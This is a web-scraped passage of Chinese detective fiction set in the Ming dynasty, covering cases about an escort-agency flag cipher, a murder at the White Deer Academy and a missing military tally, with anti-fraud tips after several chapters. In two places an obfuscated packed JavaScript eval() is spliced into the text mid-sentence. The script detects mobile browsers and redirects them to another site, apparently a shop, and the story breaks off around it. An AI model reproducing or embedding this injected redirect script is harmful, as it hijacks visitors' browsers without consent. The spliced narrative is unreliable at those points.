“法者,水也,可载舟,可覆舟。刑者,火也,可烹鲜,可焚林。司刑者当如临深潭,如履薄冰。” 窗外,长安城华灯初上。西市喧嚣依旧,今夜又有多少骗局正在酝酿?他不知道。他只知,自己守的不仅是法,更是这满城百姓,在诡诈世道里最后一点安稳的梦。 尾声防诈三诀 (大理寺榜文,遍贴一百零八坊) 一辨物:凡街头所谓“仙术”“奇药”,先索微末,以水火试之。金畏汞,银畏硫,药有异气者必诈。 二观人:遇多人哄闹,必有蹊跷。凡做局者,眼神交错,手足有暗号。切记:真热闹众人散看,假热闹聚而不散。 三守心:不贪十倍之利,不慕顷刻之功。长安居,大不易,凡轻易得财者,非骗即盗。遇事三思,思后必查,查实方行。 附:市井常见骗术 1. 掉包计:以砖石换金银,多在兑换铺前 2. 苦肉计:假称急病借钱,专骗妇孺 3. 神仙局:假道士、假尼姑售符水 4. 连环套:先予小利,后骗大财 5. 局中局:谎称中奖,索要“喜钱” 大理寺谕:凡百姓遇诈,速报坊正。知情不报,与犯同罪;举报得实,赏钱五百。 7. 镖旗暗语谳 楔子雨夜驿道 弘治十二年秋,河南道连下七日淫雨。第九日酉时三刻,洛阳福威镖局趟子手王栓子,在邙山北坡土地庙檐下避雨时,踩塌了一块朽木踏板——踏板下压着三具尸首。 尸首皆着青色公服,腰悬刑部勘合牌。验尸的洛阳县仵作老宋,在油灯下抖了半时辰,终于从第三具尸体的护心镜夹层里,抠出一片浸透血渍的桑皮纸。纸上以钟王小楷,密密麻麻录着二十七桩案子,每桩后头都跟着串古怪数字: “成化二十三年开封库银案叁伍柒陆玖” “弘治三年归德灭门案贰捌壹肆陆” “弘治十年汝宁河道贪墨案柒伍叁玖贰” …… 最后一桩墨迹最新: “弘治十二年洛阳童试舞弊案陆玖贰柒壹” 纸尾有刑部河南清吏司的暗记:一枚朱砂画的獬豸,左角断了一截。 一、 镖旗暗码 十月初三,洛阳府衙二堂。 知府陈文运盯着那片桑皮纸,指尖在“陆玖贰柒壹”上敲了第三遍。他年过五旬,瘦得像副衣架子,绯袍穿在身上空空荡荡。堂下站着两人:左边是刑部主事赵文华,三十出头,国字脸;右边是个女子,二十三四岁模样,青布箭袖,腰束牛皮鞶带,背插一对判官笔——正是福威镖局镖师林红玉。 “林镖头,”陈知府抬起眼皮,“听说福威镖局走镖,有一套‘花旗暗语’?” 红玉抱拳:“回大人,是。东南西北四路镖旗,旗角穗子结法不同,表‘平安’‘有险’‘折人’‘失货’。但这是镖行保密的切口…” “本府知道规矩。”陈知府从袖中取出一面三角镖旗,旗是褪色的靛蓝土布,边缘绣着福威镖局的暗纹,“这是在土地庙二十步外捡到的。旗角穗子结了三个连环扣——在贵局暗语里,是什么意思?” 红玉脸色微变。她接过镖旗,就着窗光细看穗子:三股红绳编成麻花,在末端打了个极复杂的“三环套月”。这是福威镖局最高级别的警示暗号,非总镖头亲传弟子不识。 “这是…”她声音发干,“‘有内鬼,速毁货’。” 堂中死寂。秋阳从万字棂窗斜射进来,照得尘埃乱舞。赵文华忽然开口:“林镖头可认得这字迹?” 他递过一张公文。红玉接过,只扫一眼便怔住——这是洛阳童试舞弊案的结案详文,落款处签押的名字是:洛阳府刑房书吏周文启。 而桑皮纸上那二十七串数字的最后一行,正是“童试舞弊案”! “周文启…”红玉喃喃道,“三日前,就是他雇镖局护送一批‘古籍’进京…” “古籍现在何处?”陈知府急问。 “在镖局地窖。”红玉抬头,“但按暗语所示,这批货该立即销毁。” “不可!”赵文华拍案而起,“这二十七桩案子涉及三任布政使、五名知府,若真是案卷,便是捅破天的证据!” 陈知府却盯着红玉:“镖局既接暗镖,必有收镖人标识。那批古籍上,可有什么记号?” 红玉沉吟片刻:“古籍共二十七函,每函以天干地支编号。但有一处古怪——所有函套的骑缝章,印文都是‘慎独’二字。” “慎独…”赵文华蹙眉,“这是心学门人的常用印。难道收镖人是…” 话未说完,门外传来急促脚步声。捕头闯进来,脸白如纸:“大人!福威镖局…走水了!” 二、 灰烬余函 镖局火场余烟未散,地窖入口已被烧塌的梁柱封死。红玉引众人从后巷小门潜入,在焦臭弥漫的甬道里走了三十余步,眼前豁然开朗——这是间以青石砌成的密室,四壁书架焦黑,但正中一张花岗岩方桌完好无损。桌上整整齐齐码着二十七函书籍,函套犹存。 赵文华疾步上前,抽出首函。函内并非古籍,而是装订成册的案卷副本,首页朱批赫然: “成化二十三年八月十五,开封府库失银九万两。经查,实为布政使张文焕以‘修河工’为名,分七次提空…” 他手一抖,册子落地。陈知府俯身拾起,一页页翻过,越翻越慢,最后跌坐石凳上,喃喃道:“二十七桩…二十七桩啊…” 红玉却蹲身查看桌底。青砖地上有数道新鲜拖痕,痕里沾着种黄褐色粉末。她以指甲刮取少许,凑近鼻端一嗅,脸色骤变:“是硫磺硝石混了砂糖——这是火流星的火药配方!” 话音未落,密室外传来机括转动声。一道铁栅轰然落下,封死来路。几乎同时,四壁书架背后响起“嗤嗤”燃烧声,刺鼻烟雾从板缝涌出。 “中计了!”赵文华撞向铁栅,栅栏纹丝不动。 红玉却扑向石桌。她双手按住桌面边缘,逆时针猛力一旋——桌下传来齿轮咬合的“咔嗒”声,整张石桌缓缓下沉,露出个黑漆漆的洞口。洞内有风涌上,带着泥土腥气。 “这是镖局先祖挖的逃生道,”红玉急道,“快下!” 三人刚坠入地道,头顶便传来爆炸闷响。气浪卷着碎石砸下,红玉反手甩出判官笔,“当当”两声击飞落石。她在黑暗中摸索前行,指尖触到壁上的刻痕——是福威镖局的路线暗标。 走了一炷香功夫,前方透来微光。出口竟是邙山脚下一座荒废的砖窑。三人钻出窑口,秋夜寒星满天。回头望去,洛阳城方向火光冲天,映红半边夜空。 赵文华忽然道:“那二十七函案卷…” “在这。”红玉从怀中取出个油布包裹。她方才旋动石桌时,已眼疾手快抽出最关键的第三函——正是“童试舞弊案”全卷。 陈知府借着星光翻开,首页便见周文启的批注:“童试考官收贿实录”,下列十七人姓名,个个都是洛阳有头脸的乡绅。但真正让他倒吸冷气的,是页边一行蝇头小楷: “此案关窍,在‘陆玖贰柒壹’。此非数目,乃镖局‘花旗码’——陆为南,玖为白,贰为双,柒为青,壹为单。合为:南门外白家老店,双青旗,单日接头。” 红玉失声:“这是我镖局与官府的紧急联络暗号!” “也就是说,”赵文华目光如炬,“周文启早知道案卷会经镖局转运。他在临死前,以密码留下接头地点…” “但他没料到,”陈知府合上册子,“镖局有内鬼,提前截杀了他们三人。” 夜风骤急,吹得荒草起伏如浪。远处洛阳城的大火渐熄,唯余一缕青烟,袅袅升向银河。 三、 白店双旗 十月十四,单日。 南门外白家老店是间车马店,前院拴着十几头骡子,空气里弥漫着草料和牲口粪便的混合气味。红玉扮作贩绸客商,包了东厢最里的房间。她从窗缝望出去,见店门前果然悬着两面青色镖旗——旗是寻常棉布,但旗杆顶各套了个黄铜环,阳光下一闪。 未时二刻,有客进店。是个五十来岁的矮胖男子,着沉香色直裰,头戴方巾,手里捧着个紫砂壶,走三步啜一口茶。他在柜台前与掌柜闲聊片刻,要了西厢房,正对红玉的窗户。 红玉等了半个时辰。申时初,矮胖男子推开窗,将紫砂壶摆在窗台上,壶嘴朝东。这是镖局暗语“平安,可接货”。 她正要起身,眼角余光忽瞥见对面房顶——一片灰瓦微微翘起,露出半张人脸!那人蒙着面,但额角有道疤,形状如蜈蚣。 红玉心念电转,从行囊中取出面小铜镜,借夕阳反光,朝对面屋顶晃了三下。这是镖局警示“有伏”。 矮胖男子显然也是行家,见状不动声色,提起茶壶佯装续水,壶嘴却悄悄转向了西——变为“有险,勿动”。 就在这时,客栈前院传来马嘶。三骑疾驰而入,马上人皆着麒麟服,腰佩绣春刀。为首的是个白面无须的中年人,嗓音尖细:“锦衣卫北镇抚司办差,闲人退避!” 店内顿时鸦雀无声。矮胖男子脸色煞白,手中茶壶“啪”地落地。对面房顶的蒙面人却动了——他如大鸟般扑下,手中□□直刺锦衣卫首领后心! “叮”的一声,□□被斜刺里飞来的判官笔架开。红玉已跃出窗外,双笔如蛟龙出海,与蒙面人战在一处。那蒙面人武功奇诡,□□时柔时刚,枪头缀着的铁蒺藜专打穴道。拆到第七招,红玉忽使出一式“玉女穿梭”,判官笔虚点面门,实则下扫下盘。蒙面人急退,面巾被笔风带落—— 赫然是福威镖局洛阳分号的大掌柜,钱老四! “果然是你…”红玉咬牙,“三环套月穗子,是你结的?” 钱老四狞笑:“红玉侄女,有些镖不该接,有些人不能惹。”他忽然吹了声呼哨,客栈内外骤然涌出二十余人,皆持强弓硬弩,箭镞在夕阳下泛着蓝光——喂了毒! 锦衣卫首领冷笑:“好大的阵仗。”他缓缓抬手,身后骑士同时掣出个黑铁圆筒。简口对准屋顶时,钱老四瞳孔骤缩:“神机营的火雷箭…撤!” 但已迟了。弓弦震响,箭如飞蝗。然而射向的不是锦衣卫,而是钱老四的手下!惨叫声中,七八人中箭倒地。红玉这才看清,放箭的竟是客栈掌柜、伙计、乃至那矮胖男子——他们袖中皆藏着弩机! 锦衣卫首领踱到钱老四面前,脚尖挑起他下巴:“谁指使你截杀周文启?” 钱老四啐出口血沫:“你们锦衣卫…不也想要那批案卷?” “我们要的是人。”首领蹲下身,声音压得极低,“二十七桩案子,牵扯多少人,你清楚。但有人比我们更急——那批案卷的原件,早在三个月前就进了京,现在恐怕已在司礼监的架阁库了。” 红玉如遭雷击。她猛然想起护送“古籍”那日,周文启亲手将二十七只樟木箱抬上镖车。但如果案卷原件早已进京,那这些“古籍”… “是诱饵。”赵文华的声音从身后传来。他与陈知府不知何时已赶到,站在客栈月门下,脸色凝重:“周文启以身为饵,用二十七箱假案卷,钓出所有想毁案的人。” 钱老四忽然大笑,笑出泪来:“周文启…好个周文启!他早知道刑部、锦衣卫、甚至司礼监都有人涉案…所以他布了这个局,让所有魑魅魍魉自曝其形…” 笑声戛然而止。他嘴角渗出黑血,头一歪,气绝身亡——齿中藏了毒囊。 锦衣卫首领起身,掸了掸袍角:“林镖头,赵主事,陈知府。此案已由北镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“然棋既下完,诸君当知:大明刑律如网,网眼可疏,纲绳不可断。但使有一二愚公愿移山,有一二精卫敢填海,这世道便还值得救。” 信末无署名,只画了枚断角獬豸,与桑皮纸上的暗记一模一样。 红玉看完,将信轻轻放回案上。她想起周文启雇镖那日,是个阴天。这个清瘦的书吏站在镖局旗杆下,仰头看了许久飘扬的镖旗,忽然说:“林镖头,你说咱们这些人,像不像这旗?” “怎么说?” “看着迎风招展,风光得很。其实旗往哪边飘,全看风往哪边吹。”他笑了笑,“但旗杆立在地上,杆不倒,旗就永远在。” 她当时不懂。现在好像懂了。 尾声暗语新解 十月末,红玉辞了镖局差事,在洛阳城南开了间武馆。开馆那日,赵文华已赴浙江,陈知府差人送来块匾,上书“正气堂”三字。 匾下压着封信,是陈知府手书: “红玉姑娘:周文启临终密码‘陆玖贰柒壹’,除镖局暗语外,另有一解。陆玖为十五,贰柒为十四,壹为一。合为《大明律》卷十五、条十四、第一款:‘凡官吏受财,枉法者,计赃科断。’此乃周君毕生信奉之物,赠君共勉。 “又及,白家老店一战,锦衣卫所擒活口中,有一人招供:京中某权贵曾言‘二十七案若发,当效洪武年空印案故事’。此语骇人听闻,然足证周君以命相搏,所救非止二十七案,实是千万黎庶。 “今赠君《折狱龟鉴》一部,中有批注乃周君手迹。愿君传此薪火,使世间多几个听懂血渍说话之人。” 红玉翻开书,见扉页有行朱批: “折狱之道,不在智巧,在敢从血污中,辨认那颗尚未冷透的良心。” 窗外秋风又起,吹得武馆檐下新悬的镖旗猎猎作响。旗是靛蓝色,旗角穗子结了最简单的平安扣。 但这次,旗杆深深埋进土里,埋了三尺。 本章防诈要诀 一、 密码双关之诈 - 犯案者常以行业暗语、诗文藏头、数字代号传递密讯 - 破解法:凡见非常规数字组合,先查行业切口,再对典籍页码,三核时令方位 - 示例:镖局“陆玖”指南与白,而《大明律》“陆玖”指卷十五条九 二、 连环诱饵之诈 - 以假案卷钓真凶,以假交易诱内鬼 - 破解法:凡过于“恰好”的线索,多是设局 - 示例:二十七箱案卷完整无缺,反露破绽 三、 死间传信之诈 - 利用死者遗物、尸体藏密、绝笔书信传递真讯 - 破解法:验尸要查九窍,文书要验骑缝,遗物要破夹层 - 示例:护心镜夹层、茶壶朝向、旗穗结法皆可为信 大明律补充: 《刑律·诈伪》“凡诈为传书,以求财赏者,杖一百”;“若因而坏事者,加等”。暗语密码若用于作奸犯科,罪加二等。 市井防骗口诀: 真传讯,简而隐;假传讯,繁而显。 真密码,合行规;假密码,乱套用。 真死者,留一线;假死讯,布满天。 正是: 邙山夜雨湿勘牌,血渍桑皮字字哀。 镖旗暗结三环扣,案卷明藏廿七灾。 白店弓惊伏虎胆,青囊火照曝尸台。 谁言蝼蚁难移岳,终有精卫填海来。 8. 白鹿禁谳 楔子经阁失人 白鹿书院经阁的《礼记正义》少了一卷。这事本寻常——书院三百学子,谁不曾借书逾期?可怪就怪在,丢书那日,借书册上登记的姓名是:已故三年的监院陈静山。 现任监院陆文渊捏着发黄的借书册,指尖在“陈静山”三字上摩出深印。窗外春雪压竹,他想起三年前那个暮春——也是这般天气,陈静山从经阁顶层坠下,落地时怀里还抱着刚修纂完的《白鹿书院志》。官府定案“失足”,书院却传言,陈监院是校勘旧志时,发现了不该发现的东西。 “陆监院。”司库书吏凑近低语,“更怪的是…今早洒扫阁楼的杂役说,三层西窗的窗纸,破了个洞。” “什么洞?” “人形大小的洞。”书吏比划,“像是…有人从窗内撞出去的。可窗外是悬崖啊!” 陆文渊披氅往经阁去。三层西窗果然破着大洞,冷风灌入,吹得满架书页哗哗作响。他俯身细看窗棂,断裂处木茬新鲜,但边缘沾着些暗红碎屑——不是血,倒像朱砂混了胶。以指甲刮下些许嗅闻,有极淡的沉香味。 “昨夜谁当值?” “是…是林墨卿。”书吏声音发颤,“可今早点名,他也没到。” 林墨卿。陆文渊心头一紧。这学子他记得,青州来的寒门子,去年岁考得乙等第三,文章写得峭拔,只是性子孤僻,总独来独往。有同窗说,常见他在后山梅林,对着棵老梅树自言自语。 “搜。”陆文渊转身,“经阁、斋舍、后山,活要见人,死…” 他顿住。窗外悬崖下,云海翻涌。若真有人从此处坠下,尸骨该在哪儿? 一、 梅林墨迹 后山梅林的雪积了半尺。陆文渊带着两个斋长沿小径搜寻,在林中空地那棵百年老梅下,发现了蹊跷——树根处积雪被扫开一片,露出冻土。土上以树枝划着行字: “经在彼阁,人在彼渊。欲寻真相,先破纸窗。” 字迹潦草,但笔画走势,陆文渊认得。三年前陈静山修纂书院志时,常请他批阅草稿,末尾署名便是这般运笔——带钩的竖,拖尾的捺。 “是陈监院的笔迹!”年轻斋长失声。 “不可能。”年长的斋长摇头,“陈监院葬在书院墓园,我亲眼见封的棺。” 陆文渊不答。他蹲身细看冻土,见字痕边缘有细微刮擦——写字人手指冻僵了,树枝多次打滑。而且…他凑近嗅了嗅,土里混着极淡的松烟墨香,是书院特供的“青麟墨”,只供教谕以上使用。 “昨夜有人来过。”陆文渊起身,“墨迹未冻实,不会超过三个时辰。” 正说着,林中忽传来“咔嚓”脆响。三人霍然回头,见十步外梅枝晃动,雪簌簌落下。奔过去看,雪地里留着串足迹,深一脚浅一脚,通往后山断崖。 足迹在崖边消失。崖下云雾弥漫,隐约可见谷底有条冰溪,蜿蜒如白练。陆文渊目测高度,摇头:“从此处坠下,十死无生。” “监院快看!”年轻斋长指着崖边一丛枯草。草叶上挂着片碎布,靛蓝色,是书院学子的标准襕衫。布片边缘染着暗红,与经阁窗棂上的朱砂胶如出一辙。 陆文渊拈起布片,对着天光细看。布料经纬间,粘着几点晶莹——是冰糖碎屑。 书院规矩,除年节外严禁学子私藏糖食。唯有一人例外:厨下专做点心的老许,因幼时家贫嗜甜,总在怀里揣块冰糖,干活累了便舔一口。 “去庖厨。”陆文渊转身,“找老许。” 二、 庖厨暗格 庖厨在后院东侧,三进土屋,终日蒸汽缭绕。老许正在揉面,见监院来,忙在围裙上擦手:“监院怎亲临污秽地?” 陆文渊亮出布片:“这料子,你可见过?” 老许眯眼看了半晌,摇头。陆文渊却盯着他围裙下摆——那里沾着点靛蓝颜料,与布片颜色一致。 “昨夜可有人来庖厨?” “没、没有。”老许眼神躲闪,“小人亥时便锁门睡了。” “是吗?”陆文渊径自走向灶后。那里堆着柴垛,他俯身拨开几根木柴,露出后面砖墙。墙上两块砖颜色略新,以手叩之,回声空闷。 “打开。” 老许脸煞白,抖着手抽出那两块砖。墙内是个尺许见方的暗格,格中堆着:几卷手抄经书、一包冰糖、半截青麟墨锭,还有本蓝布面册子。 陆文渊取出册子。封皮无字,翻开,内页以工楷抄录着历年科场试题,每题下附数篇范文,笔迹各异。但细看,这些范文的破题、承题、起讲,竟有七八分相似——像是一人代笔,故意变换字迹。 “这是…”年轻斋长倒吸凉气,“科场关节册!” 科举防弊,严禁学子私藏历年范文,更禁揣摩考官喜好。此册若流出,足让册主流放三千里。 老许“扑通”跪倒:“监院明鉴!这、这不是小人的!是…是林墨卿寄存的!” “林墨卿?”陆文渊翻到册末,见最后一行小字:“癸卯冬,墨卿录于听雪斋。”听雪斋,正是林墨卿的斋舍。 “他为何把此物存你这儿?” “他说…”老许涕泪横流,“他说近日有人要害他,此册是他保命之物。若他三日内不来取,便让小人交给…交给陈静山监院。” “交给死人?” “小人当时也这么说!可他道,陈监院根本没死,只是…只是藏起来了。” 庖厨死寂,唯闻灶膛余薪噼啪。陆文渊盯着那册关节文,忽问:“林墨卿平日,与谁交好?” 老许犹豫片刻:“他独来独往,只与…只与经阁司书柳文若走得近些。常见二人夜间在经阁校书,三更方散。” 柳文若。陆文渊记得这青年,苏州人,父亲是府学教谕,去岁荐入书院司理经籍。为人温吞少言,但校书极精,据说能辨宋版元刻之微差。 “去经阁。”陆文渊卷起关节册,“找柳文若。” 三、 经阁夜校 经阁夜校的规矩:戌时闭阁,留一司书当值,校勘白日学子借还之书。今夜当值的正是柳文若。 陆文渊推门而入时,柳文若正就着油灯比对两卷《毛诗正义》。见监院来,他从容起身揖礼,袖口沾着点点墨污。 “林墨卿失踪了。”陆文渊开门见山。 柳文若眼神微动,旋即平静:“学生昨日见过他。他说…要校一卷《仪礼注疏》,在阁中待到亥时方去。” “去了何处?” “学生不知。”柳文若指向西窗,“他走时,窗纸尚好。” 陆文渊走近西窗。破洞边缘,窗纸断茬整齐,确是从内向外冲破。但怪的是,窗外檐瓦上积雪平整,并无坠落痕迹。 “若有人从此窗坠下,”陆文渊转头,“该有痕迹才是。” 柳文若沉默片刻,忽然道:“监院可曾想过,或许无人坠下。” “何意?” “窗纸可自内破,亦可自外破。”柳文若走至窗边,以手比划,“若有人在外,以竿捅破窗纸,再抛入染朱砂的布片、碎墨锭,伪造撞窗痕迹…”他顿了顿,“至于足迹,后山雪地,一双特制木屐便可留下深浅不一的脚印。” 陆文渊盯着他:“你为何想到这些?” 柳文若垂目:“学生好读宋人笔记,曾见《癸辛杂识》载类似案例。且…”他抬眼,“林墨卿三日前,曾与学生说,他发现书院有人私贩科场关节文,欲告发,却恐遭灭口。” “关节文在庖厨暗格。”陆文渊亮出蓝册,“可是此物?” 柳文若接过,只翻三页便变色:“这…这是陈监院三年前编纂书院志时,发现的禁册!当时他欲上报学政,却突然‘失足’…” “你如何知晓?” “因这册中范文,”柳文若翻到某页,指尖颤抖,“这篇‘民为贵论’,是学生父亲当年乡试的考卷!父亲因此文中举,可三年前,陈监院却拿着此卷草稿来问,说在旧档中发现,此卷笔迹与父亲科场原卷不同——是被人替换过的!” 油灯“啪”地爆了个灯花。陆文渊缓缓坐下:“所以,陈静山不是失足,是被人灭口。而林墨卿发现了关节册与陈静山之死的关联,故布疑阵,假作失踪…” “实为暗中查证。”柳文若接口,“他昨夜确在经阁,但亥时前便从正门离去。学生亲眼见他往…往书院墓园方向去。” 墓园。陈静山埋骨之处。 陆文渊霍然起身。行至门边,忽回头:“柳司书,你与林墨卿,究竟是何交情?” 柳文若身形微僵。良久,低声道:“知音。” 二字千钧。在书院,这词有特殊含义——源于《诗经》“知我者谓我心忧”,暗指超乎寻常的默契。三年前有对学子因“知音”过从甚密,被学政以“有伤风化”除名,从此这词成了禁忌。 陆文渊深深看他一眼,推门没入夜色。 四、 墓园双碑 书院墓园在后山北麓,葬着历代山长、监院、有名望的学子。陈静山的坟在东南角,碑是新立的,刻“白鹿书院监院陈公静山之墓”。碑前供着盘干瘪的柑橘,橘皮已发黑。 陆文渊举灯照碑,见碑座有处异样——青苔被蹭掉一片,露出新鲜土痕。他俯身以手探查,发现碑座与地面衔接处,有道半指宽的缝隙。 “来人,撬开。” 两个斋长以铁钎插入缝隙,用力一扳。碑座“嘎吱”移位,露出下方黑洞。洞中涌出陈腐气息,混着…墨香。 陆文渊缒灯而下。洞不深,丈许见方,四壁以青砖砌就,是个简陋墓室。正中无棺,只一方案,案上整齐叠着:三年前失窃的《礼记正义》缺卷、陈静山编纂未竟的书院志草稿、数十封往来书信,以及…两套叠放整齐的襕衫。 衫是学子制式,但针脚明显改过——腰身收窄,袖口绣了暗纹。一套靛蓝,一套月白。月白那套袖中,塞着张薛涛笺,上书: “与君校书经阁,如对明月。世人不容此心,便教此心葬于此穴。他年若有人掘碑见衫,当知世间曾有知音,不负诗书。” 笺末无署名,只钤了方小印:“听雪斋墨卿”“经阁文若”。 年轻斋长颤声道:“这、这是…” “是衣冠冢。”陆文渊轻抚那月白衣衫,“为不见容于世的知音之情,立的衣冠冢。” 他翻看那些书信,多是诗词唱和,其间夹杂着科场关节案的线索——原来三年前,陈静山校勘旧志时,发现书院某位现任教谕,二十年前曾参与科场舞弊,以替考、换卷等手段助权贵子弟中举。此人如今身居高位,恐事泄,遂设计灭口。 而林墨卿与柳文若,在整理陈静山遗物时,发现了这些证据。为防打草惊蛇,林墨卿假造失踪,暗中查证;柳文若留在明处,引导监院发现真相。 “可林墨卿现在何处?”年长斋长问。 话音未落,墓室外传来人声:“学生在此。” 灯光映出个清瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088160|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影,正是林墨卿。他面容憔悴,但眼神清亮,怀中抱着卷画轴。 “监院,”他跪地,“学生擅离书院,假造踪迹,甘受责罚。但请先看此物——” 画轴展开,是幅《白鹿书院全图》。但细看,图中建筑方位与现今有异:经阁在西而非东,墓园在南不在北。图边小注:“嘉靖七年改建前旧貌”。 “此图是陈监院在故纸堆中发现。”林墨卿指向图中墓园位置,“按旧图,此处本是书院初建时的‘藏拙斋’,专藏未竟书稿、禁毁典籍。三年前改建墓园时,工匠曾挖出个地窖,内藏大批科场旧档。当时监工的,正是…当今掌院学士,周道明。” 周道明。陆文渊心头一震。此人现任礼部侍郎,兼领白鹿书院掌院,正是二十年前那场科考的主考官之一! “所以,陈监院之死…” “是周学士灭口。”林墨卿叩首,“学生与文若已收集全部证据,藏于后山石洞。只待监院上报学政,便可平反冤案,肃清科场积弊。” 陆文渊扶起他,良久长叹:“你可知,此举会毁了多少人前程?周道明门生故旧遍朝野,一旦案发,牵连者众。” “学生知道。”林墨卿抬眼,目光如雪,“但陈监院临终前,在书院志稿末页写下一句话:‘书院之贵,不在出多少进士,在养多少真人。’若今日我辈畏权贵而缄口,白鹿书院三百年清誉,便真成纸糊窗花了。” 墓室死寂。油灯将众人影子投在砖壁,晃动如鬼魅。 许久,陆文渊缓缓卷起画轴:“此事,我来办。你二人…今夜便离开书院。” “监院?” “周道明耳目众多,你二人留下必遭毒手。”陆文渊自怀中取出个布囊,内装银两路引,“去江南,找个书院教书。此生莫再回京,莫再应考。” 林墨卿与悄然赶来的柳文若对视,双双跪倒,三叩首。 起身时,柳文若轻声道:“那…这衣冠冢?” “留着。”陆文渊看向那两套襕衫,“让后来人知道,这书院底下,不只埋着尸骨,还埋着些…冻不死的真心。” 尾声纸窗新糊 三日后,经阁西窗糊上了新纸。陆文渊亲自动手,熬浆、裁纸、刷糊,动作一丝不苟。糊完对光检查,纸面平整如镜,映出窗外苍山积雪。 年轻斋长在旁欲言又止。陆文渊不回头,只道:“想问便问。” “监院,那案子…” “已结案了。”陆文渊净手,“林墨卿私藏禁书,畏惧责罚,夜遁离院。庖厨老许私贩糖食,革职逐出。经阁司书柳文若监管不力,罚俸三月。” “可周学士…” “昨夜递的折子,今晨宫中批回了。”陆文渊展开张公文,朱批赫然:“着礼部侍郎周道明致仕荣养,科场旧案概不追究。白鹿书院监院陆文渊,迁国子监司业,开春赴任。” 斋长怔住:“这…这便完了?” “不完又如何?”陆文渊望向窗外,“难道真要掀翻二十年的科场,让千百进士落马,让朝堂半壁倾颓?”他轻抚新糊的窗纸,“有些事,就像这纸窗。破了,糊上便是。非要追究谁捅破的,追究纸为何薄…这窗,便永远糊不上了。” “那陈监院的冤…” “陈静山重修书院志,是为存真。我若强求‘真相’而毁书院,才是负他初心。”陆文渊转身,“去,把墓园那碑复位。供盘换上新橘。” “那衣冠冢…” “留着。”陆文渊行至门边,顿了顿,“每年清明,记得烧卷《礼记正义》。” 他推门离去。经阁重归寂静,唯新糊的窗纸透进天光,在青砖地上印出方方正正的亮斑,像极了科场号舍的窗。 窗外,有学子经过,朗朗诵读声随风飘入: “《诗》云:‘知我者谓我心忧,不知我者谓我何求。’悠悠苍天,此何人哉?” 诵读声渐远。经阁三层西窗下,那盆枯死的文竹,竟从根底冒出点新绿。 本章鉴诫 一、 纸窗迷踪之诈 - 伪造现场时,惯用“破窗”“留痕”等手段转移视线 - 破解法:凡见非常规痕迹,先思是否“过巧”,再查痕迹材质、时序 - 示例:朱砂胶伪血、特制木屐留足印、窗外捅破窗纸 二、 故纸陷阱之诈 - 以陈年旧案、故人遗物为饵,诱人深入 - 破解法:查旧案必核原始档,验遗物须辨保存痕 - 示例:关节册墨色新旧、墓室信件纸张质地 三、 知音禁忌之诈 - 利用人情软肋,制造“不可言说”的压力 - 破解法:凡遇“不可说”之事,往往是要害所在 - 示例:衣冠冢、薛涛笺、改制的襕衫 书院规诫: 《白鹿学规》“凡私藏科场范文者,削籍;凡伪造踪迹欺瞒师长者,杖革;凡同窗过从失度者,察实共黜。”然规是规,人是人。 学子惕语: 纸窗易破难糊,人心易污难涤。 故纸堆里藏剑,知音二字带血。 莫道书院清净地,窗纸后头风雨急。 正是: 经阁灯昏旧卷残,梅林雪迹指虚棺。 纸窗破处风窥秘,墓穴深时墨未干。 衣冠冢葬知音泪,关节文牵仕路寒。 莫问真人何处去,一山明月照空坛。 9. 铁甲虎符谳 楔子军演练血 天启七年秋,镇北军大演练兵。按例,左中右三军当在狼山峪轮转布阵,可右军前锋营的五百人,却在子时失了踪迹。 镇北将军岳擎苍得报时正在校场点将,闻言掷令箭于地:“右军统领何在?” “右军统领赵镇恶…昨夜携虎符巡营,至今未归。”中军司马声音发颤。 岳将军脸色铁青。虎符是调兵信物,分左右两半,左在将府,右在军营,合符方可发兵。赵镇恶掌右符,他掌左符,如今右符失踪,等于镇北军一半兵马成了无主之军。 “搜山!”岳擎苍披甲上马,“活要见人,死要见尸!” 一、 狼山疑踪 狼山峪地形奇诡,主峰如狼首昂天,四条山脊如爪牙延伸。岳擎苍率亲兵沿东脊搜寻,辰时三刻,在鹰嘴岩下发现异状——岩缝里卡着半副铁甲,甲上镇北军徽记犹在,但护心镜被人以利器生生撬走。 “是赵镇恶的甲。”亲兵队长王猛细看甲缘,“甲缝里这血…还没全凝。” 岳擎苍以指蘸血捻搓,血呈暗红,带铁腥气,确是新鲜。他环顾四周,鹰嘴岩高十余丈,岩顶有老松斜出,松枝折断数根,断茬朝下。 “是从岩顶坠下的。”王猛判断。 “未必。”岳擎苍走向岩壁,见石上有数道擦痕,痕中嵌着青黑色碎屑。刮下细看,是铁器与山石剧烈摩擦留下的铁粉,混着…硫磺味。 “是火铳。”他沉声道,“有人在此开过铳。” 正说着,西脊传来哨箭尖啸——三短一长,是发现尸首的讯号。 尸首在断肠涧底,着右军号衣,面目被山石砸烂,但腰间皮囊还在。王猛割开皮囊,倒出块烧变形的铜牌,上刻“右军三营什长刘大勇”。 “是右军的人。”王猛翻检尸身,“左手虎口茧厚,是长年握刀;但右手…”他抬起尸身右腕,“腕骨有旧伤,握不紧刀——这是个左撇子。” 岳擎苍心中一动。镇北军规,凡左撇子入营,需在名册注明,因布阵时左撇子需列队左翼,免误伤同袍。他急唤文书:“查右军三营名册,可有个左撇子什长?” 文书翻册片刻,摇头:“三营一百二十人,无左撇子记录。” “那此人便不是刘大勇。”岳擎苍盯着尸体,“是有人杀了真刘大勇,换其号衣,伪作坠崖。至于赵镇恶…” 他忽俯身,从尸体紧攥的右手指缝中,剔出片东西——是半片染血的皮革,边缘整齐,像从某物上撕裂下来的。对着日光细看,皮上烙着模糊印文,只剩半个“军”字。 “是虎符的符囊。”岳擎苍起身,脸色难看,“赵镇恶遇袭时,符囊被扯裂,这半片落在死者手中。可虎符何在?” 无人能答。山风穿谷,呜咽如鬼哭。 二、 军库火铳 回营已过午时。岳擎苍径直往军械库,唤来库大使问话:“近日可有人领火铳?” 